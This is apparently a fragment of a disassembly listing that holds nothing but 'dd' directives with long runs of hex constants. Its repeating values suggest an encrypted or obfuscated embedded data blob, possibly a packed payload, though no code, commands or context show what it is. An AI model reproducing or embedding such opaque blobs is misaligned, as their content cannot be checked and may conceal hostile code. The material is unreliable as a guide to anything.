		dd 0E2071360h, 0E2539E07h, 6C84BC9Ah, 0DBE2A889h, 417FABA6h
		dd 2304F496h, 2F2F30A7h, 0BFA7B386h, 98AA11BAh,	0E204002Eh
		dd 0E29C0F9Ah, 0D77BC9Ah, 7A61AFFFh, 2E1A981Ah,	970B1B88h
		dd 6897F2D7h, 0E25850A7h, 0DC82BC9Ah, 9B07BC9Ah, 0C5AEB845h
		dd 84D55655h, 18237D73h, 5AF0CC78h, 2872AB3Bh, 4F0D93A8h
		dd 0B0DFEC69h, 2F07BC9Ah, 0D95F7891h, 99CBC9Ah,	0E207137Eh
		dd 8E42F27Ah, 2F6158C0h, 0FA124A75h, 3BF981Fh, 2537DE01h
		dd 10074C8Dh, 0E184FBD2h, 2E07BC9Ah, 7C0116FFh,	0B6541C89h
		dd 48401C89h, 0D4FC8CCFh, 0C1860507h, 0FA1F650h, 1C7147BFh
		dd 79CDCF26h, 629CADA1h, 0E204F433h, 2E87157Ah,	2B501FC0h
		dd 0E2071372h, 0B9AA20E7h, 0BF4477B5h, 7C065CFCh, 42CA3DAh
		dd 0E1135AD1h, 0E658B5F2h, 492A1C97h, 90135AD1h, 0E2534EA6h
		dd 0E62CBC9Ah, 8B9E4BCAh, 0E20F52A6h, 4D82BC9Ah, 0BD07BC9Ah
		dd 0B5494000h, 0BE4C539Eh
		dd 9CD2B9B6h, 5BB918ADh, 11CC0DC1h, 0E20774B0h,	284AC79Ah
		dd 3912BE8Ch, 0E207BCA2h, 0B0319448h, 0E4B2DECFh, 0B14AE982h
		dd 5A8A3AB0h, 140295E6h, 96CECFB1h, 215F7E57h, 1BEB899Ch
		dd 0CC6E3485h, 0ED6E7BAFh, 318AED71h, 68495F85h, 5DC7260Dh
		dd 44221FC9h, 78203EBFh, 90E798D2h, 29B574B1h, 6B88F8A7h
		dd 0F581C768h, 291E1B39h, 0E3323D5Eh, 928F78C4h, 0FDA31B18h
		dd 0E3323D55h, 782040BCh, 0F80322D2h, 0D051A437h, 0DB947375h
		dd 5D22E081h, 0ED8874C2h, 42BE66A4h, 8E14CBE4h,	785C07D1h
		dd 7A5E7CD2h, 0F6237CD2h, 0F4C455F9h, 0F3526713h, 0F5A2882Dh
		dd 8F060BDEh, 0EDCB7CD2h, 78237549h, 0D1715532h, 3756011Eh
		dd 0F15ED4F6h, 0C023432Bh, 76685E04h, 1AE7AFD2h, 920002B8h
		dd 488F88A7h, 9366CABCh, 785E64D1h, 0CC5E7CD2h,	80237CD2h
		dd 0ABD0B3C2h, 0ED48ED48h, 0A889FA2Ah, 0B1F2B75Ah, 67C889D8h
		dd 3FFD6337h, 362A5CFCh, 7F46A077h, 7820332Bh, 78202D87h
		dd 0BE67DBD2h, 0B69C8190h, 705AA56Dh, 64D90BC0h, 21BE433Fh
		dd 8EA231DEh, 0D8237CD2h, 0B1941865h, 0D946B668h, 7EE94A2Bh
		dd 68DA7CD2h, 0BA690E8Fh, 9ABA6511h, 841E4DE4h,	0F5E18186h
		dd 599E7D71h, 0F58FFB52h, 0A96C8F6Eh, 1EEFE0A8h, 23A29ACBh
		dd 13048573h, 37DC1B1Ah, 0AC6E9053h, 1AEFE0A8h,	943E937Ch
		dd 31E313A8h, 0ABAB8F1Fh, 0F4EFE0A8h, 125AD412h, 44149C40h
		dd 0AEA5DF4Ch, 125453D8h, 4FAFD440h, 6CEF2C8Ah,	1203AF11h
		dd 68E3D440h, 712148F4h, 0D09906Ah, 87F36F06h, 12038955h
		dd 0FEBCD440h, 94A8C84Ch, 1D32061Eh, 0BB210A66h, 36CBD4AFh
		dd 38AE8D59h, 0C85C122Bh, 125A8D70h, 12585143h,	3F3DD440h
		dd 4EDE22CEh, 125A8D8Ah, 1256FAEDh, 5CDBD440h, 5BA5F0BBh
		dd 293E9CBBh, 40BF974Ch, 2082124Ch, 483AD440h, 125AD72Eh
		dd 4BDA7240h, 2E3DC864h, 0C9400800h, 0D260CF07h, 7496C917h
		dd 0E825C5B9h, 0F959EA6Ch, 9C986100h, 0D08B956Dh, 0F93AB51Dh
		dd 76572121h, 12568812h, 40B3D440h, 125B204Ch, 9168D440h
		dd 31D5D4F6h, 18FB86C1h, 6CEF2940h, 125CAF04h, 2CFFD440h
		dd 0A9F0AEA2h, 0B3743748h, 0CBFC19B5h, 2D80C56Dh, 14BB4F1Dh
		dd 125A8D6Ch, 81568CDFh, 898F7166h, 202685Eh, 8B5AD440h
		dd 8362A221h, 9D8059A4h, 1523D091h, 0E198904Ah,	125B9DEBh
		dd 94DD4340h, 8D612BECh, 0AAE2C0C2h, 61709A0Bh,	209ED49Fh
		dd 90DFD440h, 2F371F29h, 0C3B32B23h, 8903CBA0h,	7078BA28h
		dd 9720F18Ch, 4BAE50A5h, 0F7C2FFD7h, 3DD7C1ECh,	0C06520CEh
		dd 0C06EB35Eh, 12DFFC77h, 762E7014h, 0B3A7F18Ch, 7620AA46h
		dd 988CED17h, 0A6A707B5h, 0BC46E466h, 0F82BD13Bh, 0B3A70A5Eh
		dd 9B311C96h, 4A94702Ah, 0BC388855h, 4A6BC813h,	0CBA08855h
		dd 9B311CAEh, 7626CCB5h, 0B042F18Ch, 0F428DC03h, 1433505Ch
		dd 0C251975Bh, 0A19107E4h, 0EA159C2Ah, 8540C584h, 7620F9B9h
		dd 48DB519h, 84FBC6B9h,	0D095468Ch, 416EB3DBh, 657D0C67h
		dd 7621BB39h, 65AA078Ch, 11894EA2h, 54DB3A37h, 7FE9D4A6h
		dd 0E33C088h, 1643D95Bh, 8B92B6D9h, 25CAD604h, 9663308h
		dd 0EF5D2110h, 0D3C8D9ADh, 0AF085474h, 344AC6D2h, 0D77AB671h
		dd 91CBAB03h, 8B034E04h, 1863C078h, 49185E40h, 91CAD678h
		dd 82CD304h, 0F5972220h, 91C68A56h, 0E73ED604h,	11AB9FA3h
		dd 0FAD3EBA4h, 55D6B3E3h, 91CA8F27h, 0BF1EB529h, 0E75BED5Ah
		dd 989C0C41h, 0DB408144h, 0F5C457A2h, 43AEDEFCh, 0ED01DD3Eh
		dd 0F1D54AE1h, 0DF22F2B1h, 0E076D103h, 0FC92B9E4h, 0E3CAD604h
		dd 9D5D1B54h, 697409AAh, 5B06FEEBh, 1C8B5E00h, 0AED3AEA4h
		dd 0E5EA80A2h, 0E93EE3Bh, 1643D639h, 1B26502Ah,	0BF1E3B42h
		dd 91CACBAAh, 0E7BFD704h, 11BE5931h, 0B19FC3CAh, 101DFF42h
		dd 4BDF72F1h, 1023D706h, 0FFFCB5B0h, 0B523514Ah, 91CE5108h
		dd 2725D604h, 0F597517Ah, 0FB4963ACh, 0CD95FE08h, 42CAD604h
		dd 0E3B962D2h, 118F08B5h, 9B1B0BC8h, 41673AD2h,	91C68AA7h
		dd 0C93D604h, 91CA8F28h, 4A8E31ADh, 0A2358F26h,	88A2BFDh
		dd 0C93F548h, 91CA8C4Fh, 91BD5107h, 0B1AAD604h,	91C44523h
		dd 314DD604h, 8C86CB24h, 0D94D8929h, 8C86CB23h,	0F9FDB666h
		dd 28122D8Ch, 91CA8F22h, 3C04A38Bh, 0B045C9C3h,	3035E09Ah
		dd 91C6909Ch, 314DD604h, 91CA8FD7h, 0B3679A9Fh,	24679A8Ah
		dd 0F2D353D9h, 0CD92D100h, 0E7CAD604h, 0B1D3F980h, 53D006D0h
		dd 64B10F51h, 0F2D61A69h, 0CD92D100h, 6BCAD604h, 8CEC451Bh
		dd 2F59694Ch, 0A2C5F02Dh, 0E9A217DCh, 1590D100h, 91CAD680h
		dd 8D10A624h, 0B8CAD604h, 91CAD6A9h, 0DB40B304h, 0CB3FF8FFh
		dd 91CC88CEh, 0F600D604h, 690EABCAh, 72EC2C4Ah,	628FB3B6h
		dd 447DDC58h, 0ECB728B5h, 1079514Fh, 91CACDF3h,	8C9E4D04h
		dd 0B3673A9Fh, 91CBA0AAh, 57B9A104h, 254A28E0h,	0E2D11328h
		dd 0B936CB05h, 4ABFF63Dh, 91CAD2EEh, 7CDFB04h, 8A8EA755h
		dd 32CAD604h, 91CAD608h, 9613C644h, 90C4AE3h, 21035FEDh
		dd 0CD84B9B3h, 29AB68E5h, 16409856h, 91C9C72Ah,	138AD604h
		dd 8CECCF7h, 611ABCBBh,	0E3A1399Bh, 0ECB6D744h,	8B844B53h
		dd 9F118824h, 0CC7DD604h, 0A41AD9CAh, 1D89ABA2h, 60E5269Ah
		dd 0DB40B93Ch, 0CB4DDCFFh, 91CA8FCEh, 1290B7A0h, 91CA8C66h
		dd 91C24D07h, 0B1AAD604h, 0BD67A564h, 0CD4E248Ah, 91CA8FCEh
		dd 91C684A9h, 0DB4BD604h, 1193F2FFh, 91CAD606h,	91CBA9B1h
		dd 0F2767F04h, 5A17EB3Eh, 39EF4752h, 5D36DC79h,	0AED5B6A2h
		dd 10E987A2h, 8B84B93Ah, 2D35E108h, 91C4559Ch, 0CE4DD604h
		dd 91CA8FCEh, 0B366D29Fh, 91C14708h, 4793D604h,	91CA8F27h
		dd 0AC4754ADh, 91C8B5E6h, 0B1CAD604h, 0B0E45B9Dh, 0FEFF52E0h
		dd 91CBD113h, 0C7AAD604h, 91CAC4E5h, 9710A904h,	0BACAD604h
		dd 94A5539Ch, 0B8CBD104h, 91CB11A8h, 91938B04h,	9707D604h
		dd 25413AACh, 7216AF2Fh, 5E588D6Dh, 0F8622BCCh,	0B1C876BCh
		dd 4CEC24A2h, 8ABB6C8h,	0C4E58406h, 0B05FE046h,	298FD742h
		dd 91CA8F33h, 0D42DBBE1h, 5C526338h, 0D37E970Bh, 71150499h
		dd 0E0CF53CDh, 8992D100h, 0C6CAD604h, 0CAE0C5DBh, 0E6F27A83h
		dd 0E0CF539Dh, 0C7A7D100h, 91C2414Eh, 9F078B04h, 1344D604h
		dd 0F5A0B751h, 0B04D9F0Ah, 0C47559Ah, 9AC8B5F0h, 32CAD604h
		dd 91CAD60Ah, 4C2DA94Eh, 0AFF0382Fh, 0A834B71Bh, 0B1CBE72Fh
		dd 91CB4C08h, 4C3ED604h, 0F0F4259Bh, 0C740981Ch, 0C04A7D2Ah
		dd 9295DA65h, 0F1CAD604h, 0C1B43BF2h, 5D75C165h, 658EB609h
		dd 8E6B0C39h, 91CBA6B1h, 0C532BE04h, 0EAAD55B7h, 804D202Bh
		dd 3C49F006h, 5D8E7B80h, 8E659DCAh, 90DA8824h, 0C8DED604h
		dd 8C61907h, 800EA368h,	96FBE333h, 0C8916E4Bh, 55D6B6B3h
		dd 91CFDF98h, 0E8218629h, 7C2956ACh, 0B8CB9D67h, 91CBA7A8h
		dd 9F0E8B04h, 10EAD604h, 24C15B41h, 2BCF58E7h, 0E34B5EFDh
		dd 91CA8FD6h, 1066D291h, 83E472F1h, 19D53F07h, 0C64E88AFh
		dd 12F8EC45h, 5C87EFC9h, 8097F1EFh, 91C55007h, 0C695D604h
		dd 9DCAD604h, 64E0CD20h, 2E7AA060h, 0E33F5EC5h,	1641677Ch
		dd 469385D9h, 91CA8F27h, 0C68AC7A1h, 91CBD176h,	0AD76B604h
		dd 0C4237EA2h, 8BEC4B3Bh, 61679A91h, 91CAD602h,	99848929h
		dd 9F07B14Eh, 0A9BCD604h, 8E2B8E39h, 8F8BE608h,	1590B9E9h
		dd 91CA8F22h, 10584107h
		dd 0F50CB5ADh, 0CF7BB957h, 90E92809h, 0BFAAD604h, 9F118B78h
		dd 2CFAD604h, 18B75649h, 0E8CF313Bh, 0BF24225Ah, 0F5C6D623h
		dd 10673AD0h, 91CACDE1h, 8093B604h, 6CAD604h, 8DD3039Ah
		dd 0D85ECB3Bh, 17AA8158h, 8B8051EEh, 8B845308h,	1DCAD604h
		dd 0D9B2D6E2h, 0C7AA93F3h, 91CAC763h, 888EA904h, 0AFCAD604h
		dd 0B06B6698h, 0BD46A627h, 0B74385D8h, 75E03575h, 90DDB149h
		dd 3D12D604h, 7EFBFB93h, 244C3FE2h, 8DD638CFh, 0B0532012h
		dd 0DB4DE950h, 0B26548FFh, 1E4AB73Fh, 0B95D02C3h, 0A6209E8Ah
		dd 91CBA184h, 91C08B04h, 7633D604h, 0CA7203Fh, 80A655Ah
		dd 0E144D20Bh, 91C682A4h, 8A35D604h, 0F5978108h, 9046A741h
		dd 22CAD604h, 0A35347DBh, 1590D100h, 91CAD68Ch,	91CB9FB1h
		dd 2BD4F004h, 13B13292h, 0D55FA6A2h, 247E8751h,	91CA8F32h
		dd 0F5C72504h, 32C68AA8h, 91CAD60Dh, 0F7B6459Eh, 7A153A9Dh
		dd 0DFFC78B5h, 977B4709h, 20AAD604h, 91CA8C66h,	19AD742Dh
		dd 0CB3F3EF1h, 0AEAF10EFh, 0B0026164h, 184754B5h, 9AC8B343h
		dd 32CAD604h, 91CA8C66h, 7B0E8464h, 0FFF69998h,	0BE7F15ECh
		dd 90F26198h, 15294DF2h, 0AF715949h, 91B13C44h,	20AADDA1h
		dd 91CAD60Ah, 0D0C52286h, 18937B2Eh, 449B8138h,	13E8A526h
		dd 0C000A979h, 1390B93Bh, 91CAD60Ah, 90DE5007h,	93D604h
		dd 91CA8F1Eh, 9139A474h, 10029F28h, 0F0C5F39Bh,	10599E33h
		dd 0CE039BBBh, 1E2653ECh, 17FA8622h, 0EC31EFAEh, 1EF9E734h
		dd 0DE79D2F9h, 8E0EA7EAh, 8DD68F5Fh, 6D225974h,	28005F8Fh
		dd 0A3EFE762h, 0A8F165E2h, 0BCE7ADAEh, 26BC2D4Eh, 5EF7F30Bh
		dd 23FBD4F8h, 56D54B73h, 0E752636Eh, 0F58685D4h, 20F81147h
		dd 962D9DFAh, 27F02ECFh, 9D4EB1E3h, 0A2159842h,	424F89C0h
		dd 0A3ECA5CCh, 424D2ECFh, 692EE71Ah, 0D94CC7FCh, 0ADADEA2Bh
		dd 507EFDD5h, 1FE9DDFFh, 29814CFBh, 51AC4277h, 1FF225FFh
		dd 23843EE3h, 0AC59EA21h, 0D097FDD5h, 0E8E1E6F2h, 0A1239FCAh
		dd 222F2ECFh, 0A3EFE774h, 0A2359FCCh, 24982ECFh, 3F6647C9h
		dd 25B92A9Dh, 0C4EFE767h, 0A3EFE774h, 0BCEDCA45h, 97D0A5D1h
		dd 0BB9C2B42h, 65E77039h, 6C8FAB1Ch, 25BD8E75h,	9124B1C9h
		dd 3AF02ECFh, 56C42F46h, 6BA1FE35h, 7FE7BBECh, 0D5AB705Eh
		dd 24784AEDh, 9FF250AAh, 5704F32Ch, 9E7B6F2Fh, 24785786h
		dd 24791DA2h, 0E5634AAh, 13938347h, 41B442C4h, 0AD7361B7h
		dd 9852304Bh, 1CB01F64h, 248571B1h, 0D6E857AAh,	0B5F6B3E2h
		dd 24784BF0h, 0A14E71ADh, 53D905D5h, 9B6E7FEh, 87857AAh
		dd 0E3245EE1h, 0A5687E64h, 3C52F004h, 0A570FFB5h, 0FF36D86Dh
		dd 0C217A83Eh, 0EC0543ADh, 0C4843268h, 24D1083Eh, 0DD9E57AAh
		dd 0E0ACCBF5h, 0AC414AA9h, 26111063h, 0B65426CAh, 2479EE9Bh
		dd 0C6DCAAAh, 5F2E11Dh,	29D94DBCh, 292F7EC8h, 0DF74DC62h
		dd 292F7E3Ch, 0BD74F7CAh, 24790C07h, 251C3C62h,	0FA637B6Ah
		dd 845621CAh, 91A91704h, 98D8A473h, 80F930B3h, 0E34DB9Ah
		dd 3DD95BF8h, 21A0B8FCh, 1DB22E8Eh, 0D57857A9h,	5B668D20h
		dd 3662A292h, 25790C6Eh, 640826AAh, 13790F2Ah, 247859B7h
		dd 62FA1FAAh, 0EE4CD5F7h, 25ABC48Eh, 997B57AAh,	2478577Fh
		dd 2479219Dh, 48A13AAAh, 0DEC873C5h, 2B27BA4Bh,	0C8C8212Eh
		dd 0A67C30B6h, 24790FC3h, 248571ADh, 5BED57AAh,	0C53B5281h
		dd 0D97DD854h, 1BC37805h, 3ABE847Dh, 33415274h,	24792902h
		dd 4F0526AAh, 657857A9h, 0FCEE1E81h, 67162722h,	7505CC67h
		dd 0FCFAC396h, 9AEE46FFh, 7C9A232Dh, 0FCED5AC1h, 0E24D65FFh
		dd 1C07DA4Fh, 0FCED5BF1h, 8D20E8FFh, 42EE80F7h,	0FCEE1E75h
		dd 40C721BAh, 0C4250EB9h, 48A2B9A5h, 71F923D2h,	9934582Ah
		dd 0D13ADBFAh, 0E1347107h, 0D13ADBFBh, 0FCF57EE4h, 42F046FFh
		dd 0FCED46D6h, 0FCEE3EF2h, 766CB2FFh, 6488155Eh, 8F856A26h
		dd 74576CEAh, 46D57E19h, 11EB7E20h, 2F901D4Dh, 0AF9151A1h
		dd 0B1B57D75h, 15195D39h, 0C47A602Eh, 65F923F2h, 0FCEE1E81h
		dd 0AAFF8A5Eh, 854DF754h, 1B814298h, 0B1EB1999h, 0BC74962Ch
		dd 0F74328ADh, 787A5BBFh, 65F9225Eh, 0FCEE1E88h, 0E911CD0Fh
		dd 0B8E40E5Bh, 0A5C864B7h, 0D0809DAEh, 17B6354Fh, 8F79E1B6h
		dd 8A267E84h, 47ED46FEh, 7ED436BFh, 83518DCBh, 8DA11595h
		dd 745321DAh, 0C7B20D84h, 208541DEh, 0D592D14Dh, 0BC17C119h
		dd 4555444Bh, 56DB2FC4h, 0E9256077h, 0FD00B7FBh, 4BF046FFh
		dd 0FCEE1E18h, 0FCFF6002h, 460746FFh, 3693DB66h, 655EDC7Dh
		dd 738FE90Fh, 0A79F9A50h, 0FCB2C1FEh, 17F046FFh, 0FCEE1E8Ch
		dd 0FCEEDBE4h, 17F046FFh, 0FCEE1E19h, 0C2272802h, 2EED46FEh
		dd 677A0B6Ah, 0FE525FFBh, 41F046FFh, 0FCEE0EADh, 8FCDAE4h
		dd 0E9464AABh, 88FB1FD5h, 8E63F05h, 13BCBDABh, 0EC3A34BEh
		dd 713A9711h, 8E68339h,	9A3DC146h, 0E8B1EADCh, 0AC0B9CB3h
		dd 0F80911ECh, 0EE6115E2h, 0E8D34E81h, 88C71FD9h, 8E63F09h
		dd 13A8C7ABh, 8FE64AABh, 89F3DEA8h, 0AA8DE90h, 4E64AABh
		dd 293FCB31h, 0BF85F72Eh, 38F8E903h, 8A8CAA53h,	1CE45F7h
		dd 0C4E64AABh, 0A561A90Fh, 0FB1948Ch, 848C7A6h,	80464AABh
		dd 0F579DEC9h, 3B47706Eh, 0B71A9A34h, 79E68347h, 0BDD34BD9h
		dd 0C11CBB49h, 0B22EB849h, 1F38048h, 8EFE71CDh,	86BAC961h
		dd 0FA8F1BFh, 3DE64AABh, 549CB651h, 4BEDE1DAh, 2BE8EF4Fh
		dd 541B9A3Eh, 71157558h, 8E6840Ah, 485408ECh, 5F4A5D79h
		dd 8E7BB6Dh, 14614AABh,	145BBDA7h, 0BD5E034Bh, 0DD636BE8h
		dd 0FB20611h, 70C773BFh, 8E692CFh, 0F2ECB7EFh, 437A075Bh
		dd 0FF236873h, 0DCCF4BACh, 0FB141F1h, 344A73C3h, 145BC7DAh
		dd 0E8E64AABh, 3902C7DEh, 87476B7Fh, 81D8E824h,	8E63F00h
		dd 47A5AAABh, 422E6363h, 89E68334h, 8B47E7F0h, 0D2D1AABBh
		dd 0AD61A8EFh, 0FB2DBBCh, 8E3804Bh, 0E52A4AABh,	6543F327h
		dd 429E3A41h, 0F7F75218h, 8E64A13h, 595AECABh, 8E27FE2h
		dd 2B8B4AABh, 0D3AA92E2h, 120FD6F4h, 33159B32h,	593A2CCBh
		dd 0D99F3FE1h, 0E070DAD8h, 4957B0F1h, 0F2C99E1h, 17E64AABh
		dd 8E68426h, 956192ABh,	0FB141F1h, 8E64AB0h, 0B9BABDABh
		dd 588EB7A2h, 8A941C9h,	67164AABh, 0F63F0086h, 35A1F7E9h
		dd 0D386DC80h, 1A64AE26h, 0DBD552EFh, 0B757B229h, 287EDB81h
		dd 6C7308E3h, 1F51BDE9h, 92694932h, 98A055E4h, 0C556AA58h
		dd 0E65D34E9h, 0E61C0E8h, 0C0547FFCh, 1D99F329h, 3FA1ECEAh
		dd 6154F6E4h, 0FA9472ACh, 0B3466BBEh, 38809505h, 3FA0A1E9h
		dd 69938BE4h, 0A6C445DBh, 6E9B451Bh, 0C9360789h, 0B7880A4Bh
		dd 4236C77Ch, 0B95FACD3h, 3FA055C9h, 3F4E2CDFh,	476955E4h
		dd 1DA055E4h, 0B1E92BC3h, 0DF87256Bh, 6FD044EDh, 0B6D03F39h
		dd 4689A5A6h, 4EA055E4h, 3FA052C3h, 3401B5E4h, 4829D520h
		dd 0F1A22681h, 2855A066h, 78558C44h, 0DAABECh, 0B6958202h
		dd 8FA1ABA4h, 3F098B1Ch, 0B28F55E4h, 0FE2BE96Eh, 0C1E85FBEh
		dd 0C09EF329h, 4B150E9Eh, 0CAA055E4h, 32D74A3Eh, 8D6971CDh
		dd 22A055E4h, 0E5918554h, 0EE2AB915h, 56E2D83Bh, 0C5F77A8h
		dd 3FA08F44h, 85ACD384h, 250C5F96h, 0BA019CC4h,	62548EB6h
		dd 0CB5F5377h, 3FA05382h, 3F5AC8DFh, 71B955E4h,	51F27A88h
		dd 6CD4A577h, 1FA055E2h, 3FA0ADEAh, 2E4D74E4h, 33F1C460h
		dd 0DCE50120h, 0A6D831E1h
		dd 3FA09E08h, 0B55697EDh, 95F8AEE4h, 549DAFB3h,	0F14658CDh
		dd 18AF5E74h, 465D2034h, 0CB5FACD3h, 3FA055AEh,	0B41D5AF8h
		dd 4E57B16Dh, 3FA1CC00h, 5689A4E4h, 1FA055E4h, 3FA0ADEAh
		dd 64486DE4h, 9D973C20h, 0F1635CAEh, 24EA61B3h,	14019BC4h
		dd 602BFC56h, 4E69967Ch, 0D1A055E4h, 0E8B12DE0h, 28B13C0Dh
		dd 0FEDB6CFAh, 0BDF72836h, 0C0A2968Ch, 0C21E6737h, 8AD4E9C9h
		dd 5D856E7Eh, 9280DB17h, 92E6A521h, 4EA055E4h, 3FA046C3h
		dd 3ED5A4E4h, 0C0A055E4h, 629D64FEh, 0A1206E77h, 3F098B13h
		dd 971E55E4h, 696A93C7h, 1FC92E34h, 3EFF75EAh, 4169B5E4h
		dd 0C2A055E4h, 40B2F3F2h, 0C944E245h, 1FC55899h, 3F098B21h
		dd 82F455E4h, 8483750Ah, 25E12EA4h, 0CE148502h,	90ED1F1Bh
		dd 1F57AE9Ch, 9818D317h, 3F574CF8h, 0FC5355E4h,	6EB64BD8h
		dd 89CFB30Ah, 8CD4A582h, 0A7A055E4h, 3FA055CAh,	16AD3551h
		dd 16902567h, 80AFD5AFh, 0C386C91Bh, 3F57B16Dh,	3FADC9DFh
		dd 936955E4h, 30A055E4h, 18F53BC4h, 8597E1A3h, 0A061EEC6h
		dd 47F2C845h, 0CB5FACD3h, 3FA055D3h, 86A7DB84h,	93697B58h
		dd 0BAA055E4h, 0A8556CC5h, 348A78C3h, 4C1F4B12h, 1FD55121h
		dd 4E57B245h, 3FA0BCEDh, 726976E4h, 8DCF7EF8h, 3FA0AB4Ch
		dd 3F088AE4h, 46D455E4h, 1C4F3833h, 0CC023DFCh,	466CE8CEh
		dd 3EE4C6DFh, 0CB5F55E4h, 3FA055C7h, 3FA0A0E9h,	0E63EAFE4h
		dd 80F98B9Bh, 0C4F2094Dh, 34B1873h, 466CF37Eh, 6FD4A4E4h
		dd 1FA08E7Bh, 0C14663F9h, 0C3017D8Fh, 5852D0FCh, 4EA0ACD8h
		dd 3FA0B400h, 5BD2A4E4h, 0A0A055E4h, 3FA08E72h,	4974D7D7h
		dd 22D4193Ah, 118DA404h, 40D206DDh, 2F0FD295h, 0C000ACE4h
		dd 792E4794h, 8E019B29h, 3FA054FAh, 226991E4h, 8DCF808Bh
		dd 3FA096C3h, 3F718AE4h, 26A255E4h, 0CEF6F1B1h,	0FB34CD8Bh
		dd 8407ADF6h, 2EA486C9h, 3FA0AE64h, 3920A4E4h, 1FA055E4h
		dd 5BD55122h, 4E57B0DBh, 0BDBFF600h, 3D39190h, 45C11260h
		dd 66D5A581h, 0A0A08E81h, 3FA08F43h, 0A8CFC4ECh, 25E16A8Ch
		dd 79D55167h, 4E58F376h, 3FA0ADEDh, 0CC1D76E4h,	3F99AC99h
		dd 0BD704CF9h, 6FB88090h, 3D39692h, 466BB246h, 50D4A4E4h
		dd 1FA08E74h, 3FA0ACA9h, 0C1176EE4h, 5448367Fh,	3E88A569h
		dd 17A055E4h, 723AEAB1h, 5F4DEF00h, 4D5A57Ch, 1FA08E81h
		dd 3FA097A9h, 41172EE4h, 9841738Ah, 18997BB2h, 6922C9C4h
		dd 4869ACD6h, 13A055E4h, 3C4B62F0h, 32FC4F4Eh, 0CF5A7CBEh
		dd 59E86919h, 4ACF7CBFh, 6B0C20E0h, 0A0548800h,	3FA08F43h
		dd 0C1205160h, 5728AEB6h, 0F5D55C8Dh, 4E58F378h, 3F5A07EDh
		dd 8D69B5E4h, 54A055E4h, 0EC9E52B8h, 0EF17CAA2h, 0F41478F8h
		dd 0B7012668h, 7C02C9C4h, 8DB9ACD6h, 3FA04788h,	0C146B5E4h
		dd 0A019CE8h, 3FA052B4h, 122F52E4h, 3FA09FEAh, 0F8561AE4h
		dd 2BA298BFh, 50885Fh, 0E9D55BC7h, 4E58F378h, 3FA1E7EDh
		dd 3F558AE4h, 0E26055E4h, 0C15BD2DEh, 62A15CFEh, 3F088B77h
		dd 5DED55E4h, 0FD043622h, 0CA9F16C5h, 1DD0F341h, 0F1D55AEEh
		dd 4E58F378h, 3FA044EDh, 0CC1B91E4h, 466BBBB2h,	0AD8D58F8h
		dd 4A915F5h, 0B84F3342h, 5C34B8EEh, 8C215F0Ch, 59BE891Fh
		dd 2EAD857Eh, 3FA1E764h, 0B95FB5E4h, 3FA08E6Dh,	0CC0BB4FCh
		dd 45C11B50h, 3FA2C6DFh, 0C1B855E4h, 5210B0FEh,	0B61A6E77h
		dd 3F4E2CE0h, 466855E4h, 13A055E4h, 0DDDCF9Eh, 118ABD6Ah
		dd 0BD796322h, 67CF8090h, 71B976A4h, 5F4C9300h,	69D5A57Ch
		dd 4EA08E7Bh, 3FA0A25Fh, 44D5A4E4h, 4EA055E4h, 3FA054C2h
		dd 0CC1B76E4h, 466BAC0Ah, 68B631Dh, 78A282B5h, 7A2146B5h
		dd 0BC845B88h, 2EA3362Ah, 3FA055C2h, 0CC0B9DE4h, 45C11238h
		dd 3F11C6DFh, 0C1B855E4h, 51C038FEh, 3F638B77h,	806755E4h
		dd 8524BBCEh, 0B6D21684h, 0B6D1D39Dh, 0F995006Bh, 0BD7E579Dh
		dd 67CF8090h, 0BC007DECh, 0BC1836BAh, 0CC0BB2CCh, 45C11004h
		dd 3EEEC6DFh, 0C55F55E4h, 3FA08E82h, 4BD52AFCh,	0A057B230h
		dd 3FA08F43h, 0E1A965DAh, 0A5A2F9C0h, 0BD7EA7DAh, 67CF8090h
		dd 71C57DECh, 5F4C8F00h, 82D5A57Ch, 4EA08E7Bh, 3FA054FEh
		dd 0CC1B91E4h, 466CE6C2h, 3F9DCFDFh, 0C75F55E4h, 3FA08E73h
		dd 3F5F6DDFh, 0F7B055E4h, 26F805F6h, 8E89482Eh,	17190749h
		dd 3F665621h, 28E55E4h,	0B76F3E15h, 72017AFAh, 5F4DE300h
		dd 4D5A57Ch, 1FA08E81h,	18E4E617h, 8251A34Fh, 0CC1BB324h
		dd 466BBA22h, 3FA1ECE9h, 8D1585E4h, 3E0EAA0Ch, 0C1004D34h
		dd 1FC82BA0h, 3F5AD10Ch, 9EA155E4h, 3F638B25h, 437C55E4h
		dd 0F999999h, 0C8E8C6DBh, 0B882D710h, 177B9670h, 91D55AF6h
		dd 4E58F376h, 3FA03EEDh, 48DFA4E4h, 0A0A055E4h,	3FA055DFh
		dd 4BB4FC57h, 0BB7849FAh, 29188349h, 8FD52171h,	1F57B0D8h
		dd 14CADCE0h, 6C81DC17h, 0F7B0B31Ch, 3FA08E81h,	2E99ED81h
		dd 3FA097C3h, 3FD5A4E4h, 0B0A055E4h, 4320C834h,	0C45FACE4h
		dd 3FA08F36h, 0F65F6E84h, 18AA65F6h, 201894E0h,	4662D0FCh
		dd 4EA0ACD3h, 3FA1E7EDh, 3FCEA4E4h, 0C3A055E4h,	4FB2C9C4h
		dd 0C5B9ACD3h, 6E0B0900h, 6E11902Bh, 3F4F2BE1h,	0C45F55E4h
		dd 3FA08E82h, 8F86D2F8h, 3F57B0C9h, 3F8FC9DFh, 0C65F55E4h
		dd 3FA055DBh, 3FA1ECE9h, 0C0E98DE4h, 1E84A2B1h,	0CC0CC506h
		dd 45C10F1Ch, 3EEFC6DFh, 0C45F55E4h, 3FA055E1h,	3F6617DFh
		dd 0C45F55E4h, 3FA08E6Dh, 6F5AC9C3h, 0B7C5ACD6h, 0BDD0D10Ch
		dd 7EA98090h, 3F668B25h, 0D9E155E4h, 0F6D4F593h, 5BC2D0FBh
		dd 4EA0ACD3h, 3F53FF00h, 3F088AE4h, 854255E4h, 3971CC53h
		dd 34B2C8Eh, 466B9EF2h,	2BD4A4E4h, 0A0A08E77h, 3FA055D4h
		dd 0A4CB50F6h, 4B1D99CCh, 0A8A1F294h, 327946D0h, 0CC0B9925h
		dd 45C10EB8h, 3FA5C6DFh, 1F0055E4h, 4568710Ch, 15A055E4h
		dd 0C25A5DB4h, 18990A88h, 3FA1ECEAh, 0D7D183E4h, 2C924C4h
		dd 0C201B96Eh, 625EF0FEh, 0F7B09677h, 0BDCF808Fh, 0C399EE2Ah
		dd 3F6DD3E0h, 0C05F55E4h, 3FA08F43h, 3FA0A4E9h,	4B419CE4h
		dd 191B05A3h, 7CC053FFh, 4362F31Dh, 0CC0B5944h,	45C10F08h
		dd 3FB6C6DFh, 0D5F55E4h, 3FA055E5h, 3F67C9DFh, 0BF5F55E4h
